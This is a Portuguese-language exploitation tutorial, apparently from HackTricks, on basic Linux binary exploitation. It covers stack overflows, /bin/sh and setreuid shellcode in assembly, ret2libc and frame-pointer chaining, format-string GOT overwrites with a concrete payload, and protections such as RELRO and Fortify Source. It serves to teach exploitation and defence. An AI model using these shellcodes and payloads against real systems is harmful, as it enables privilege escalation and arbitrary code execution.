hacktricks/exploiting/linux-exploiting-basic-esp/README.md

59 KiB
Raw Blame History

Exploração no Linux (Básico)

Aprenda hacking na AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!

Outras maneiras de apoiar o HackTricks:

1. ESTOUROS DE PILHA

estouro de buffer, sobrecarga de buffer, estouro de pilha, esmagamento de pilha

Segmentation fault ou violação de segmentação: Quando se tenta acessar um endereço de memória que não foi atribuído ao processo.

Para obter o endereço de uma função dentro de um programa, pode-se fazer:

objdump -d ./PROGRAMA | grep FUNCION

ROP

Chamada para sys_execve

{% content-ref url="rop-syscall-execv.md" %} rop-syscall-execv.md {% endcontent-ref %}

2.SHELLCODE

Ver interrupções do kernel: cat /usr/include/i386-linux-gnu/asm/unistd_32.h | grep “__NR_”

setreuid(0,0); // __NR_setreuid 70
execve(“/bin/sh”, args[], NULL); // __NR_execve 11
exit(0); // __NR_exit 1

xor eax, eax ; limpamos eax
xor ebx, ebx ; ebx = 0 pois não há argumento para passar
mov al, 0x01 ; eax = 1 —> __NR_exit 1
int 0x80 ; Executar syscall

nasm -f elf assembly.asm —> Retorna um .o
ld assembly.o -o shellcodeout —> Gera um executável com o código assembly e podemos extrair os opcodes com objdump
objdump -d -Mintel ./shellcodeout —> Para verificar se é realmente nosso shellcode e extrair os OpCodes

Verificar se o shellcode funciona

char shellcode[] = “\x31\xc0\x31\xdb\xb0\x01\xcd\x80”

void main(){
void (*fp) (void);
fp = (void *)shellcode;
fp();
}<span id="mce_marker" data-mce-type="bookmark" data-mce-fragment="1"></span>

Para verificar se as chamadas de sistema estão sendo feitas corretamente, o programa anterior deve ser compilado e as chamadas de sistema devem aparecer em strace ./PROGRAMA_COMPILADO

Ao criar shellcodes, um truque pode ser usado. A primeira instrução é um salto para uma chamada. A chamada chama o código original e também coloca o EIP na pilha. Após a instrução de chamada, inserimos a string necessária, para que com esse EIP possamos apontar para a string e continuar executando o código.

EXEMPLO TRUQUE (/bin/sh):

jmp                 0x1f                                        ; Salto al último call
popl                %esi                                       ; Guardamos en ese la dirección al string
movl               %esi, 0x8(%esi)       ; Concatenar dos veces el string (en este caso /bin/sh)
xorl                 %eax, %eax             ; eax = NULL
movb  %eax, 0x7(%esi)     ; Ponemos un NULL al final del primer /bin/sh
movl               %eax, 0xc(%esi)      ; Ponemos un NULL al final del segundo /bin/sh
movl   $0xb, %eax               ; Syscall 11
movl               %esi, %ebx               ; arg1=“/bin/sh”
leal                 0x8(%esi), %ecx      ; arg[2] = {“/bin/sh”, “0”}
leal                 0xc(%esi), %edx      ; arg3 = NULL
int                    $0x80                         ; excve(“/bin/sh”, [“/bin/sh”, NULL], NULL)
xorl                 %ebx, %ebx             ; ebx = NULL
movl   %ebx, %eax
inc                   %eax                          ; Syscall 1
int                    $0x80                         ; exit(0)
call                  -0x24                          ; Salto a la primera instrución
.string             \”/bin/sh\”                               ; String a usar<span id="mce_marker" data-mce-type="bookmark" data-mce-fragment="1"></span>

EJ usando o Stack(/bin/sh):

section .text
global _start
_start:
xor                  eax, eax                     ;Limpieza
mov                al, 0x46                      ; Syscall 70
xor                  ebx, ebx                     ; arg1 = 0
xor                  ecx, ecx                     ; arg2 = 0
int                    0x80                           ; setreuid(0,0)
xor                  eax, eax                     ; eax = 0
push   eax                             ; “\0”
push               dword 0x68732f2f ; “//sh”
push               dword 0x6e69622f; “/bin”
mov                ebx, esp                     ; arg1 = “/bin//sh\0”
push               eax                             ; Null -> args[1]
push               ebx                             ; “/bin/sh\0” -> args[0]
mov                ecx, esp                     ; arg2 = args[]
mov                al, 0x0b                      ; Syscall 11
int                    0x80                           ; excve(“/bin/sh”, args[“/bin/sh”, “NULL”], NULL)

EJ FNSTENV:

fabs
fnstenv [esp-0x0c]
pop eax                     ; Guarda el EIP en el que se ejecutó fabs
…

Caçador de Ovos:

Consiste em um pequeno código que percorre as páginas de memória associadas a um processo em busca da shellcode ali armazenada (procura por alguma assinatura na shellcode). Útil nos casos em que há apenas um pequeno espaço para injetar código.

Shellcodes Polimórficos

Consistem em shells cifrados que possuem um pequeno código que os descriptografa e salta para ele, usando o truque de Call-Pop, este seria um exemplo de cifra de César:

global _start
_start:
jmp short magic
init:
pop     esi
xor      ecx, ecx
mov    cl,0                              ; Hay que sustituir el 0 por la longitud del shellcode (es lo que recorrerá)
desc:
sub     byte[esi + ecx -1], 0 ; Hay que sustituir el 0 por la cantidad de bytes a restar (cifrado cesar)
sub     cl, 1
jnz       desc
jmp     short sc
magic:
call init
sc:
;Aquí va el shellcode
  1. Atacando o Frame Pointer (EBP)

Útil em uma situação em que podemos modificar o EBP, mas não o EIP.

Sabe-se que ao sair de uma função, o seguinte código assembly é executado:

movl               %ebp, %esp
popl                %ebp
ret

De esta forma, se pode modificar o EBP ao sair de uma função (fvuln) que foi chamada por outra função, quando a função que chamou fvuln terminar, seu EIP pode ser modificado.

Em fvuln, pode-se introduzir um EBP falso que aponte para um local onde esteja o endereço da shellcode + 4 (é necessário adicionar 4 por causa do pop). Assim, ao sair da função, o valor de &(&Shellcode)+4 será colocado em ESP, com o pop, 4 será subtraído de ESP e ele apontará para o endereço da shellcode quando o ret for executado.

Exploit:
&Shellcode + "AAAA" + SHELLCODE + preenchimento + &(&Shellcode)+4

Exploit Off-by-One
Permite modificar apenas o byte menos significativo do EBP. Pode-se realizar um ataque como o anterior, mas a memória que armazena o endereço da shellcode deve compartilhar os 3 primeiros bytes com o EBP.

4. Métodos return to Libc

Método útil quando o stack não é executável ou deixa um buffer muito pequeno para modificar.

O ASLR faz com que, em cada execução, as funções sejam carregadas em posições diferentes na memória. Portanto, esse método pode não ser eficaz nesse caso. Para servidores remotos, como o programa está sendo executado constantemente no mesmo endereço, pode ser útil.

  • cdecl (C declaration) Coloca os argumentos no stack e limpa a pilha após sair da função
  • stdcall (standard call) Coloca os argumentos na pilha e é a função chamada que limpa a pilha
  • fastcall Coloca os dois primeiros argumentos em registradores e o restante na pilha

É colocado o endereço da instrução system da libc e é passada como argumento a string “/bin/sh”, normalmente de uma variável de ambiente. Além disso, é usada a direção da função exit para que, uma vez que a shell não seja mais necessária, o programa saia sem problemas (e escreva logs).

export SHELL=/bin/sh

Para encontrar os endereços necessários, pode-se olhar dentro do GDB:
p system
p exit
rabin2 -i executável —> Fornece o endereço de todas as funções usadas pelo programa ao ser carregado
(Dentro de um start ou algum breakpoint): x/500s $esp —> Procuramos aqui a string /bin/sh

Uma vez que tenhamos esses endereços, o exploit ficaria assim:

“A” * DISTÂNCIA EBP + 4 (EBP: podem ser 4 "A"s, embora seja melhor se for o EBP real para evitar falhas de segmentação) + Endereço do system (sobrescreverá o EIP) + Endereço do exit (ao sair de system(“/bin/sh”), esta função será chamada, pois os primeiros 4 bytes do stack são tratados como o próximo endereço do EIP a ser executado) + Endereço de “/bin/sh” (será o parâmetro passado para system)

Dessa forma, o EIP será sobrescrito com o endereço de system, que receberá a string “/bin/sh” como parâmetro e, ao sair disso, executará a função exit().

É possível encontrar a situação em que algum byte de algum endereço de alguma função seja nulo ou espaço (\x20). Nesse caso, pode-se desmontar os endereços anteriores a essa função, pois provavelmente haverá vários NOPs que permitirão chamar um deles em vez da função diretamente (por exemplo, com > x/8i system-4).

Este método funciona porque, ao chamar uma função como system usando o opcode ret em vez de call, a função entende que os primeiros 4 bytes serão o endereço EIP para retornar.

Uma técnica interessante com este método é chamar strncpy() para mover um payload do stack para o heap e, posteriormente, usar gets() para executar esse payload.

Outra técnica interessante é o uso de mprotect(), que permite atribuir as permissões desejadas a qualquer parte da memória. Funciona ou funcionava no BDS, MacOS e OpenBSD, mas não no Linux (controla que não seja possível conceder permissões de escrita e execução ao mesmo tempo). Com esse ataque, seria possível reconfigurar o stack como executável.

Encadeamento de funções

Com base na técnica anterior, essa forma de exploit consiste em:
Preenchimento + &Função1 + &pop;ret; + &arg_fun1 + &Função2 + &pop;ret; + &arg_fun2 + …

Dessa forma, é possível encadear funções a serem chamadas. Além disso, se desejar usar funções com vários argumentos, pode-se colocar os argumentos necessários (por exemplo, 4) e inserir os 4 argumentos e procurar um endereço com opcodes: pop, pop, pop, pop, ret —> objdump -d executável

Encadeamento através de falsificação de frames (encadeamento de EBPs)

Consiste em aproveitar a capacidade de manipular o EBP para encadear a execução de várias funções por meio do EBP e de "leave;ret"

PREENCHIMENTO

  • Coloca-se no EBP um EBP falso que aponta para: 2º EBP_falso + a função a ser executada: (&system() + &leave;ret + &“/bin/sh”)
  • No EIP, coloca-se como endereço uma função &(leave;ret)

Inicia-se a shellcode com o endereço da próxima parte da shellcode, por exemplo: 2ºEBP_falso + &system() + &(leave;ret;) + &”/bin/sh”

o 2ºEBP seria: 3ºEBP_falso + &system() + &(leave;ret;) + &”/bin/ls”

Essa shellcode pode ser repetida indefinidamente nas partes da memória às quais se tem acesso, de modo que uma shellcode facilmente divisível em pequenos pedaços de memória seja obtida.

(A execução de funções é encadeada misturando as vulnerabilidades vistas anteriormente de EBP e de ret2lib)

5. Métodos complementares

Ret2Ret

Útil quando não se pode inserir um endereço do stack no EIP (verifica-se que o EIP não contém 0xbf) ou quando não se pode calcular a localização da shellcode. No entanto, a função vulnerável aceita um parâmetro (a shellcode irá aqui).

Dessa forma, ao alterar o EIP por um endereço de um ret, a próxima direção será carregada (que é o endereço do primeiro argumento da função). Ou seja, a shellcode será carregada.

O exploit seria: SHELLCODE + Preenchimento (até EIP) + &ret (os próximos bytes da pilha apontam para o início da shellcode, pois o endereço do argumento passado é colocado na pilha)

Parece que funções como strncpy, uma vez completas, removem da pilha o endereço onde a shellcode estava armazenada, impossibilitando essa técnica. Ou seja, o endereço passado para a função como argumento (que armazena a shellcode) é alterado por um 0x00, então, ao chamar o segundo ret, encontra um 0x00 e o programa falha.

**Ret2PopRet**

Técnica de Murat

Se não tivermos controle sobre o primeiro argumento, mas tivermos sobre o segundo ou terceiro, podemos sobrescrever o EIP com um endereço de pop-ret ou pop-pop-ret, conforme necessário.

Em sistemas Linux, todos os programas são mapeados a partir de 0xbfffffff.

Observando como a pilha de um novo processo é construída no Linux, é possível desenvolver um exploit de modo que o programa seja iniciado em um ambiente onde a única variável seja a shellcode. O endereço dela pode ser calculado como: addr = 0xbfffffff - 4 - strlen(NOME_do_executável_completo) - strlen(shellcode)

Dessa forma, é possível obter facilmente o endereço onde a variável de ambiente com a shellcode está localizada.

Isso é viável devido à função execle, que permite criar um ambiente com apenas as variáveis de ambiente desejadas.

Jump to ESP: Estilo Windows

Como o ESP sempre aponta para o início da pilha, essa técnica consiste em substituir o EIP pelo endereço de uma chamada a jmp esp ou call esp. Assim, a shellcode é salva após a sobrescrita do EIP, pois após a execução do ret, o ESP estará apontando para o próximo endereço, onde a shellcode foi armazenada.

Caso o ASLR não esteja ativado no Windows ou Linux, é possível chamar jmp esp ou call esp armazenadas em algum objeto compartilhado. Se o ASLR estiver ativado, pode-se procurar dentro do próprio programa vulnerável.

Além disso, o fato de poder colocar a shellcode após a corrupção do EIP, em vez de no meio da pilha, permite que as instruções push ou pop executadas no meio da função não afetem a shellcode (o que poderia ocorrer se estivesse no meio da pilha da função).

De maneira semelhante, se soubermos que uma função retorna o endereço onde a shellcode está armazenada, é possível chamar call eax ou jmp eax (ret2eax).

Estouros de Inteiros

Esse tipo de estouro ocorre quando uma variável não está preparada para suportar um número tão grande quanto o fornecido, possivelmente devido a uma confusão entre variáveis com e sem sinal, por exemplo:

#include <stdion.h>
#include <string.h>
#include <stdlib.h>

int main(int argc, char *argv[]){
int len;
unsigned int l;
char buffer[256];
int i;
len = l = strtoul(argv[1], NULL, 10);
printf("\nL = %u\n", l);
printf("\nLEN = %d\n", len);
if (len >= 256){
printf("\nLongitus excesiva\n");
exit(1);
}
if(strlen(argv[2]) < l)
strcpy(buffer, argv[2]);
else
printf("\nIntento de hack\n");
return 0;
}

No exemplo anterior, vemos que o programa espera 2 parâmetros. O primeiro é o comprimento da próxima string e o segundo é a string.

Se passarmos um número negativo como primeiro parâmetro, será exibido que len < 256 e passaremos por esse filtro, e também strlen(buffer) será menor que l, pois l é um unsigned int e será muito grande.

Esse tipo de overflow não busca escrever algo no processo do programa, mas sim contornar filtros mal projetados para explorar outras vulnerabilidades.

Variáveis não inicializadas

Não se sabe o valor que uma variável não inicializada pode assumir e pode ser interessante observá-la. Pode ser que ela assuma o valor que uma variável da função anterior assumia e que essa variável seja controlada pelo atacante.

Strings de Formato

Em C, printf é uma função que pode ser usada para imprimir uma string. O primeiro parâmetro que essa função espera é o texto bruto com os formatadores. Os parâmetros seguintes esperados são os valores para substituir os formatadores do texto bruto.

A vulnerabilidade ocorre quando um texto do atacante é colocado como o primeiro argumento para essa função. O atacante poderá criar uma entrada especial abusando das capacidades de string de formato do printf para escrever qualquer dado em qualquer endereço. Dessa forma, sendo capaz de executar código arbitrário.

Formatadores:

%08x —> 8 hex bytes
%d —> Entire
%u —> Unsigned
%s —> String
%n —> Number of written bytes
%hn —> Occupies 2 bytes instead of 4
<n>$X —> Direct access, Example: ("%3$d", var1, var2, var3) —> Access to var3

%n escreve o número de bytes escritos no endereço indicado. Escrever tantos bytes quanto o número hexadecimal que precisamos escrever é como você pode escrever qualquer dado.

AAAA%.6000d%4\$n —> Write 6004 in the address indicated by the 4º param
AAAA.%500\$08x —> Param at offset 500

GOT (Tabela de Deslocamentos Globais) / PLT (Tabela de Ligação de Procedimentos)

Esta é a tabela que contém o endereço das funções externas usadas pelo programa.

Obtenha o endereço desta tabela com: objdump -s -j .got ./exec

Observe como após carregar o executável no GEF você pode ver as funções que estão na GOT: gef➤ x/20x 0xDIR_GOT

Usando o GEF, você pode iniciar uma sessão de depuração e executar got para ver a tabela got:

Em um binário, a GOT tem os endereços das funções ou da seção PLT que carregará o endereço da função. O objetivo deste exploit é sobrescrever a entrada da GOT de uma função que será executada posteriormente com o endereço do PLT da função system. Idealmente, você irá sobrescrever a GOT de uma função que está prestes a ser chamada com parâmetros controlados por você (assim você poderá controlar os parâmetros enviados para a função do sistema).

Se system não for usada pelo script, a função do sistema não terá uma entrada na GOT. Nesse cenário, você precisará vazar primeiro o endereço da função system.

A Tabela de Ligação de Procedimentos é uma tabela somente leitura no arquivo ELF que armazena todos os símbolos necessários que precisam de resolução. Quando uma dessas funções é chamada, a GOT irá redirecionar o fluxo para a PLT para que possa resolver o endereço da função e gravá-lo na GOT.
Então, na próxima vez que uma chamada for feita para esse endereço, a função é chamada diretamente sem precisar resolvê-la.

Você pode ver os endereços da PLT com objdump -j .plt -d ./vuln_binary

Fluxo de Exploração

Como explicado anteriormente, o objetivo será sobrescrever o endereço de uma função na tabela GOT que será chamada posteriormente. Idealmente, poderíamos definir o endereço de um shellcode localizado em uma seção executável, mas é altamente provável que você não consiga escrever um shellcode em uma seção executável.
Então, uma opção diferente é sobrescrever uma função que recebe seus argumentos do usuário e apontá-la para a função system.

Para escrever o endereço, geralmente são feitos 2 passos: Você escreve primeiro 2Bytes do endereço e depois os outros 2. Para fazer isso, é usado $hn.

HOB é chamado para os 2 bytes mais altos do endereço
LOB é chamado para os 2 bytes mais baixos do endereço

Assim, devido ao funcionamento da string de formato, você precisa escrever primeiro o menor de [HOB, LOB] e depois o outro.

Se HOB < LOB
[endereço+2][endereço]%.[HOB-8]x%[offset]\$hn%.[LOB-HOB]x%[offset+1]

Se HOB > LOB
[endereço+2][endereço]%.[LOB-8]x%[offset+1]\$hn%.[HOB-LOB]x%[offset]

HOB LOB HOB_shellcode-8 NºParam_dir_HOB LOB_shell-HOB_shell NºParam_dir_LOB

`python -c 'print "\x26\x97\x04\x08"+"\x24\x97\x04\x08"+ "%.49143x" + "%4$hn" + "%.15408x" + "%5$hn"'`

Modelo de Exploração de String de Formato

Você pode encontrar um modelo para explorar a GOT usando strings de formato aqui:

{% content-ref url="format-strings-template.md" %} format-strings-template.md {% endcontent-ref %}

.fini_array

Essencialmente, esta é uma estrutura com funções que serão chamadas antes do programa terminar. Isso é interessante se você puder chamar seu shellcode apenas pulando para um endereço, ou em casos em que você precisa voltar ao main novamente para explorar a string de formato uma segunda vez.

objdump -s -j .fini_array ./greeting

./greeting:     file format elf32-i386

Contents of section .fini_array:
8049934 a0850408

#Put your address in 0x8049934

Note que isso não criará um loop eterno porque quando você voltar para o principal, o canário perceberá, o final da pilha pode estar corrompido e a função não será chamada novamente. Portanto, com isso você poderá ter mais 1 execução da vulnerabilidade.

Formatar Strings para Extrair Conteúdo

Uma string de formatação também pode ser abusada para extrair conteúdo da memória do programa.
Por exemplo, na seguinte situação há uma variável local na pilha apontando para uma flag. Se você encontrar onde na memória o ponteiro para a flag está, você pode fazer o printf acessar esse endereço e imprimir a flag:

Então, a flag está em 0xffffcf4c

E a partir do vazamento você pode ver que o ponteiro para a flag está no parâmetro:

Portanto, acessando o 8º parâmetro você pode obter a flag:

Note que seguindo o exploit anterior e percebendo que você pode vazar conteúdo, você pode definir ponteiros para o printf na seção onde o executável está carregado e extrair ele inteiramente!

DTOR

{% hint style="danger" %} Atualmente é muito raro encontrar um binário com uma seção dtor. {% endhint %}

Os destrutores são funções que são executadas antes do programa terminar.
Se você conseguir escrever um endereço para um shellcode em __DTOR_END__, isso será executado antes do programa terminar.
Obtenha o endereço desta seção com:

objdump -s -j .dtors /exec
rabin -s /exec | grep “__DTOR”

Normalmente você encontrará a seção DTOR entre os valores ffffffff e 00000000. Portanto, se você apenas ver esses valores, significa que não há nenhuma função registrada. Portanto, sobrescreva o 00000000 com o endereço do shellcode para executá-lo.

Strings de Formato para Estouros de Buffer

O sprintf move uma string formatada para uma variável. Portanto, você poderia abusar da formatação de uma string para causar um estouro de buffer na variável para onde o conteúdo é copiado.
Por exemplo, a carga útil %.44xAAAA irá escrever 44B+"AAAA" na variável, o que pode causar um estouro de buffer.

Estruturas __atexit

{% hint style="danger" %} Atualmente é muito incomum explorar isso. {% endhint %}

atexit() é uma função para a qual outras funções são passadas como parâmetros. Essas funções serão executadas ao executar um exit() ou o retorno do main.
Se você puder modificar o endereço de qualquer uma dessas funções para apontar para um shellcode, por exemplo, você obterá controle do processo, mas isso é atualmente mais complicado.
Atualmente, os endereços das funções a serem executadas estão ocultos atrás de várias estruturas e, finalmente, o endereço para o qual apontam não são os endereços das funções, mas são criptografados com XOR e deslocamentos com uma chave aleatória. Portanto, atualmente esse vetor de ataque não é muito útil, pelo menos em x86 e x64_86.
A função de criptografia é PTR_MANGLE. Outras arquiteturas como m68k, mips32, mips64, aarch64, arm, hppa... não implementam a função de criptografia porque retornam o mesmo que receberam como entrada. Portanto, essas arquiteturas seriam atacáveis por esse vetor.

setjmp() & longjmp()

{% hint style="danger" %} Atualmente é muito incomum explorar isso. {% endhint %}

Setjmp() permite salvar o contexto (os registradores)
longjmp() permite restaurar o contexto.
Os registradores salvos são: EBX, ESI, EDI, ESP, EIP, EBP
O que acontece é que EIP e ESP são passados pela função PTR_MANGLE, então as arquiteturas vulneráveis a esse ataque são as mesmas acima.
Eles são úteis para recuperação de erros ou interrupções.
No entanto, pelo que li, os outros registradores não são protegidos, então se houver um call ebx, call esi ou call edi dentro da função chamada, o controle pode ser assumido. Ou você também poderia modificar EBP para modificar o ESP.

VTable e VPTR em C++

Cada classe tem uma Vtable que é um array de ponteiros para métodos.

Cada objeto de uma classe tem um VPtr que é um ponteiro para o array de sua classe. O VPtr faz parte do cabeçalho de cada objeto, então se uma sobrescrita do VPtr for alcançada, ela poderia ser modificada para apontar para um método fictício para que a execução de uma função vá para o shellcode.

Medidas preventivas e evasões

Return-into-printf

É uma técnica para transformar um estouro de buffer em um erro de formatação de string. Consiste em substituir o EIP para apontar para um printf da função e passar uma string de formato manipulada como argumento para obter valores sobre o estado do processo.

Ataque a bibliotecas

As bibliotecas estão em uma posição com 16 bits de aleatoriedade = 65636 possíveis endereços. Se um servidor vulnerável chama fork(), o espaço de endereços de memória é clonado no processo filho e permanece intacto. Portanto, é possível tentar fazer uma força bruta na função usleep() da libc passando "16" como argumento, de modo que quando demorar mais do que o normal para responder, a função será encontrada. Sabendo onde está essa função, é possível obter delta_mmap e calcular as demais.

A única maneira de ter certeza de que o ASLR funciona é usando uma arquitetura de 64 bits. Não há ataques de força bruta lá.

Relro

Relro (Read only Relocation) afeta as permissões de memória de forma semelhante ao NX. A diferença é que, enquanto com o NX torna a pilha executável, o RELRO torna certas coisas somente leitura, então não podemos escrever nelas. A maneira mais comum que vi isso ser um obstáculo é nos impedindo de fazer uma sobrescrita da tabela got, que será abordada posteriormente. A tabela got contém endereços de funções libc para que o binário saiba quais são os endereços e possa chamá-los. Vamos ver como são as permissões de memória para uma entrada da tabela got para um binário com e sem relro.

Com relro:

gef➤  vmmap
Start              End                Offset             Perm Path
0x0000555555554000 0x0000555555555000 0x0000000000000000 r-- /tmp/tryc
0x0000555555555000 0x0000555555556000 0x0000000000001000 r-x /tmp/tryc
0x0000555555556000 0x0000555555557000 0x0000000000002000 r-- /tmp/tryc
0x0000555555557000 0x0000555555558000 0x0000000000002000 r-- /tmp/tryc
0x0000555555558000 0x0000555555559000 0x0000000000003000 rw- /tmp/tryc
0x0000555555559000 0x000055555557a000 0x0000000000000000 rw- [heap]
0x00007ffff7dcb000 0x00007ffff7df0000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7df0000 0x00007ffff7f63000 0x0000000000025000 r-x /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7f63000 0x00007ffff7fac000 0x0000000000198000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7fac000 0x00007ffff7faf000 0x00000000001e0000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7faf000 0x00007ffff7fb2000 0x00000000001e3000 rw- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7fb2000 0x00007ffff7fb8000 0x0000000000000000 rw-
0x00007ffff7fce000 0x00007ffff7fd1000 0x0000000000000000 r-- [vvar]
0x00007ffff7fd1000 0x00007ffff7fd2000 0x0000000000000000 r-x [vdso]
0x00007ffff7fd2000 0x00007ffff7fd3000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7fd3000 0x00007ffff7ff4000 0x0000000000001000 r-x /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ff4000 0x00007ffff7ffc000 0x0000000000022000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ffc000 0x00007ffff7ffd000 0x0000000000029000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ffd000 0x00007ffff7ffe000 0x000000000002a000 rw- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ffe000 0x00007ffff7fff000 0x0000000000000000 rw-
0x00007ffffffde000 0x00007ffffffff000 0x0000000000000000 rw- [stack]
0xffffffffff600000 0xffffffffff601000 0x0000000000000000 r-x [vsyscall]
gef➤  p fgets
$2 = {char *(char *, int, FILE *)} 0x7ffff7e4d100 <_IO_fgets>
gef➤  search-pattern 0x7ffff7e4d100
[+] Searching '\x00\xd1\xe4\xf7\xff\x7f' in memory
[+] In '/tmp/tryc'(0x555555557000-0x555555558000), permission=r--
0x555555557fd0 - 0x555555557fe8  →   "\x00\xd1\xe4\xf7\xff\x7f[...]"

Sem relro:

gef➤  vmmap
Start              End                Offset             Perm Path
0x0000000000400000 0x0000000000401000 0x0000000000000000 r-- /tmp/try
0x0000000000401000 0x0000000000402000 0x0000000000001000 r-x /tmp/try
0x0000000000402000 0x0000000000403000 0x0000000000002000 r-- /tmp/try
0x0000000000403000 0x0000000000404000 0x0000000000002000 r-- /tmp/try
0x0000000000404000 0x0000000000405000 0x0000000000003000 rw- /tmp/try
0x0000000000405000 0x0000000000426000 0x0000000000000000 rw- [heap]
0x00007ffff7dcb000 0x00007ffff7df0000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7df0000 0x00007ffff7f63000 0x0000000000025000 r-x /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7f63000 0x00007ffff7fac000 0x0000000000198000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7fac000 0x00007ffff7faf000 0x00000000001e0000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7faf000 0x00007ffff7fb2000 0x00000000001e3000 rw- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7fb2000 0x00007ffff7fb8000 0x0000000000000000 rw-
0x00007ffff7fce000 0x00007ffff7fd1000 0x0000000000000000 r-- [vvar]
0x00007ffff7fd1000 0x00007ffff7fd2000 0x0000000000000000 r-x [vdso]
0x00007ffff7fd2000 0x00007ffff7fd3000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7fd3000 0x00007ffff7ff4000 0x0000000000001000 r-x /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ff4000 0x00007ffff7ffc000 0x0000000000022000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ffc000 0x00007ffff7ffd000 0x0000000000029000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ffd000 0x00007ffff7ffe000 0x000000000002a000 rw- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ffe000 0x00007ffff7fff000 0x0000000000000000 rw-
0x00007ffffffde000 0x00007ffffffff000 0x0000000000000000 rw- [stack]
0xffffffffff600000 0xffffffffff601000 0x0000000000000000 r-x [vsyscall]
gef➤  p fgets
$2 = {char *(char *, int, FILE *)} 0x7ffff7e4d100 <_IO_fgets>
gef➤  search-pattern 0x7ffff7e4d100
[+] Searching '\x00\xd1\xe4\xf7\xff\x7f' in memory
[+] In '/tmp/try'(0x404000-0x405000), permission=rw-
0x404018 - 0x404030  →   "\x00\xd1\xe4\xf7\xff\x7f[...]"

Para o binário sem relro, podemos ver que o endereço da entrada got para fgets é 0x404018. Ao analisar os mapeamentos de memória, vemos que ele está entre 0x404000 e 0x405000, com as permissões rw, o que significa que podemos ler e escrever nele. Para o binário com relro, vemos que o endereço da tabela got para a execução do binário (o pie está ativado, então este endereço mudará) é 0x555555557fd0. Nos mapeamentos de memória desse binário, ele está entre 0x0000555555557000 e 0x0000555555558000, com a permissão de memória r, o que significa que só podemos ler dele.

Então, qual é o bypass? O bypass típico que eu uso é simplesmente não escrever em regiões de memória que o relro faz ser somente leitura e encontrar uma maneira diferente de obter a execução de código.

Observe que, para isso acontecer, o binário precisa conhecer previamente os endereços das funções:

  • Lazy binding: O endereço de uma função é pesquisado na primeira vez que a função é chamada. Portanto, a GOT precisa ter permissões de escrita durante a execução.
  • Bind now: Os endereços das funções são resolvidos no início da execução e, em seguida, permissões somente leitura são concedidas a seções sensíveis como .got, .dtors, .ctors, .dynamic, .jcr. `**-z relro**y**-z now`**

Para verificar se um programa usa Bind now, você pode fazer:

readelf -l /proc/ID_PROC/exe | grep BIND_NOW

Cuando o binário é carregado na memória e uma função é chamada pela primeira vez, o salto é feito para a PLT (Procedure Linkage Table), a partir daqui é feito um salto (jmp) para a GOT e descobre-se que essa entrada não foi resolvida (contém um endereço seguinte da PLT). Então, o Runtime Linker ou rtfd é invocado para resolver o endereço e salvá-lo na GOT.

Quando uma função é chamada, a PLT é chamada, ela contém o endereço da GOT onde o endereço da função é armazenado, redirecionando o fluxo para lá e assim a função é chamada. No entanto, se for a primeira vez que a função é chamada, o que está na GOT é a próxima instrução da PLT, portanto o fluxo segue o código da PLT (rtfd) e descobre o endereço da função, salva na GOT e chama.

Ao carregar um binário na memória, o compilador informa em qual offset os dados que devem ser carregados quando o programa é executado devem ser colocados.

Lazy binding —> O endereço da função é procurado apenas na primeira vez que a função é invocada, então a GOT tem permissões de escrita para que, quando for procurado, seja salvo lá e não precise ser procurado novamente.

Bind now —> Os endereços das funções são procurados ao carregar o programa e as permissões das seções .got, .dtors, .ctors, .dynamic, .jcr são alteradas para somente leitura. -z relro e -z now

Apesar disso, geralmente os programas não são complicados com essas opções, então esses ataques continuam sendo possíveis.

readelf -l /proc/ID_PROC/exe | grep BIND_NOW —> Para verificar se estão usando o BIND NOW

Fortify Source -D_FORTIFY_SOURCE=1 ou =2

Tenta identificar funções que copiam de um local para outro de forma insegura e substituir a função por uma função segura.

Por exemplo:
char buf[16];
strcpy(but, source);

Identifica como inseguro e então substitui strcpy() por __strcpy_chk() usando o tamanho do buffer como tamanho máximo a ser copiado.

A diferença entre =1 ou =2 é que:

O segundo não permite que %n venha de uma seção com permissões de escrita. Além disso, o parâmetro para acesso direto de argumentos só pode ser usado se os anteriores forem usados, ou seja, só pode ser usado %3$d se %2$d e %1$d forem usados antes.

Para exibir a mensagem de erro, o argv[0] é usado, então se for colocado nele o endereço de outro local (como uma variável global), a mensagem de erro mostrará o conteúdo dessa variável. Página 191

Substituição do Libsafe

Ativado com: LD_PRELOAD=/lib/libsafe.so.2
ou
“/lib/libsave.so.2” > /etc/ld.so.preload

As chamadas para algumas funções inseguras são interceptadas por outras seguras. Não é padronizado. (apenas para x86, não para compilações com -fomit-frame-pointer, não para compilações estáticas, nem todas as funções vulneráveis se tornam seguras e LD_PRELOAD não funciona em binários com suid).

ASCII Armored Address Space

Consiste em carregar as bibliotecas compartilhadas de 0x00000000 a 0x00ffffff para sempre ter um byte 0x00. No entanto, isso realmente não impede quase nenhum ataque, especialmente em little endian.

ret2plt

Consiste em realizar um ROP de forma que a função strcpy@plt (da plt) seja chamada e aponte para a entrada da GOT e copie o primeiro byte da função que se deseja chamar (system()). Em seguida, o mesmo é feito apontando para GOT+1 e copiando o 2º byte de system()... Por fim, a função chamada é a que está armazenada na GOT, que será system().

